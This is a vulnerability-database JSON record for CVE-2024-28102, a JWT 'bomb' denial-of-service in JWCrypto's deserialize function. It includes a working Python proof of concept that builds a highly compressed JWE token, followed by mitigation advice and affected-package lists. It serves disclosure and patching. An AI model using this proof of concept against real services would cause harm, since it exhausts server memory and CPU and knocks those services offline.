{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/16801?format=json","vulnerability_id":"VCID-ygj7-qwt8-sud5","summary":"JWCrypto vulnerable to JWT bomb Attack in `deserialize` function\n## Affected version\nVendor: https://github.com/latchset/jwcrypto\nVersion: 1.5.5\n\n## Description\nAn attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio.\nWhen the server processes this Token, it will consume a lot of memory and processing time.\n\n## Poc\n```python\nfrom jwcrypto import jwk, jwe\nfrom jwcrypto.common import json_encode, json_decode\nimport time\npublic_key = jwk.JWK()\nprivate_key = jwk.JWK.generate(kty='RSA', size=2048)\npublic_key.import_key(**json_decode(private_key.export_public()))\n\n\npayload = '{\"u\": \"' + \"u\" * 400000000 + '\", \"uu\":\"' + \"u\" * 400000000 + '\"}'\nprotected_header = {\n    \"alg\": \"RSA-OAEP-256\",\n    \"enc\": \"A256CBC-HS512\",\n    \"typ\": \"JWE\",\n    \"zip\": \"DEF\",\n    \"kid\": public_key.thumbprint(),\n}\njwetoken = jwe.JWE(payload.encode('utf-8'),\n                   recipient=public_key,\n                   protected=protected_header)\nenc = jwetoken.serialize(compact=True)\n\nprint(\"-----uncompress-----\")\n\nprint(len(enc))\n\nbegin = time.time()\n\njwetoken = jwe.JWE()\njwetoken.deserialize(enc, key=private_key)\n\nprint(time.time() - begin)\n\nprint(\"-----compress-----\")\n\npayload = '{\"u\": \"' + \"u\" * 400000 + '\", \"uu\":\"' + \"u\" * 400000 + '\"}'\nprotected_header = {\n    \"alg\": \"RSA-OAEP-256\",\n    \"enc\": \"A256CBC-HS512\",\n    \"typ\": \"JWE\",\n    \"kid\": public_key.thumbprint(),\n}\njwetoken = jwe.JWE(payload.encode('utf-8'),\n                   recipient=public_key,\n                   protected=protected_header)\nenc = jwetoken.serialize(compact=True)\n\nprint(len(enc))\n\nbegin = time.time()\n\njwetoken = jwe.JWE()\njwetoken.deserialize(enc, key=private_key)\n\nprint(time.time() - begin)\n```\nIt can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer.\n<img width=\"172\" alt=\"image\" src=\"https://github.com/latchset/jwcrypto/assets/133195620/23193327-3cd7-499a-b5aa-28c56af92785\">\n\n\n\n## Mitigation\nTo mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also\nbeen adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing\nattackers from exploiting this vulnerability with high compression ratio tokens.\n\n## References\n[1] [CVE-2024-21319](https://github.com/AzureAD/azure-activedirectory-identitymodel-extensions-for-dotnet/security/advisories/GHSA-8g9c-28fc-mcx2)","aliases":[{"alias":"CVE-2024-28102"},{"alias":"GHSA-j857-7rvv-vj97"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/936563?format=json","purl":"pkg:deb/debian/python-jwcrypto@0.8.0-1?distro=trixie","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-3uav-qamf-b7ek"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:deb/debian/python-jwcrypto@0.8.0-1%3Fdistro=trixie"},{"url":"http://public2.vulnerablecode.io/api/packages/936566?format=json","purl":"pkg:deb/debian/python-jwcrypto@0.8.0-1%2Bdeb11u1?distro=trixie","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:deb/debian/python-jwcrypto@0.8.0-1%252Bdeb11u1%3Fdistro=trixie"},{"url":"http://public2.vulnerablecode.io/api/packages/936561?format=json","purl":"pkg:deb/debian/python-jwcrypto@1.1.0-1%2Bdeb12u1?distro=trixie","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-3uav-qamf-b7ek"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:deb/debian/python-jwcrypto@1.1.0-1%252Bdeb12u1%3Fdistro=trixie"},{"url":"http://public2.vulnerablecode.io/api/packages/1050023?format=json","purl":"pkg:deb/debian/python-jwcrypto@1.1.0-1%2Bdeb12u1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-3uav-qamf-b7ek"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:deb/debian/python-jwcrypto@1.1.0-1%252Bdeb12u1"},{"url":"http://public2.vulnerablecode.io/api/packages/936564?format=json","purl":"pkg:deb/debian/python-jwcrypto@1.5.6-1?distro=trixie","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:deb/debian/python-jwcrypto@1.5.6-1%3Fdistro=trixie"},{"url":"http://public2.vulnerablecode.io/api/packages/56443?format=json","purl":"pkg:pypi/jwcrypto@1.5.6","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-9rtx-w9ry-rkcj"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/jwcrypto@1.5.6"}],"affected_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/1050021?format=json","purl":"pkg:deb/debian/python-jwcrypto@0.3.2-1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-ygj7-qwt8-sud5"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:deb/debian/python-jwcrypto@0.3.2-1"},{"url":"http://public2.vulnerablecode.io/api/packages/1050022?format=json","purl":"pkg:deb/debian/python-jwcrypto@0.8.0-1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-3uav-qamf-b7ek"},{"vulnerability":"VCID-ygj7-qwt8-sud5"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:deb/debian/python-jwcrypto@0.8.0-1"},{"url":"http://public2.vulnerablecode.io/api/packages/4305?format=json","purl":"pkg:pypi/jwcrypto@0.2.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-3uav-qamf-b7ek"},{"vulnerability":"VCID-rdvk-cbp2-wuh2"},{"vulnerability":"VCID-t87t-re4z-gycu"},{"vulnerability":"VCID-ygj7-qwt8-sud5"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/jwcrypto@0.2.0"},{"url":"http://public2.vulnerablecode.io/api/packages/4306?format=json","purl":"pkg:pypi/jwcrypto@0.2.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-3uav-qamf-b7ek"},{"vulnerability":"VCID-rdvk-cbp2-wuh2"},{"vulnerability":"VCID-t87t-re4z-gycu"},{"vulnerability":"VCID-ygj7-qwt8-sud5"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/jwcrypto@0.2.1"},{"url":"http://public2.vulnerablecode.io/api/packages/4307?format=json","purl":"pkg:pypi/jwcrypto@0.3.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-3uav-qamf-b7ek"},{"vulnerability":"VCID-rdvk-cbp2-wuh2"},{"vulnerability":"VCID-t87t-re4z-gycu"},{"vulnerability":"VCID-ygj7-qwt8-sud5"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/jwcrypto@0.3.0"},{"url":"http://public2.vulnerablecode.io/api/packages/4308?format=json","purl":"pkg:pypi/jwcrypto@0.3.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-3uav-qamf-b7ek"},{"vulnerability":"VCID-rdvk-cbp2-wuh2"},{"vulnerability":"VCID-t87t-re4z-gycu"},{"vulnerability":"VCID-ygj7-qwt8-sud5"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/jwcrypto@0.3.1"},{"url":"http://public2.vulnerablecode.io/api/packages/4309?format=json","purl":"pkg:pypi/jwcrypto@0.4.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-3uav-qamf-b7ek"},{"vulnerability":"VCID-rdvk-cbp2-wuh2"},{"vulnerability":"VCID-ygj7-qwt8-sud5"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/jwcrypto@0.4.0"},{"url":"http://public2.vulnerablecode.io/api/packages/44256?format=json","purl":"pkg:pypi/jwcrypto@0.4.1","is_vulnerable":true,"affected_by_v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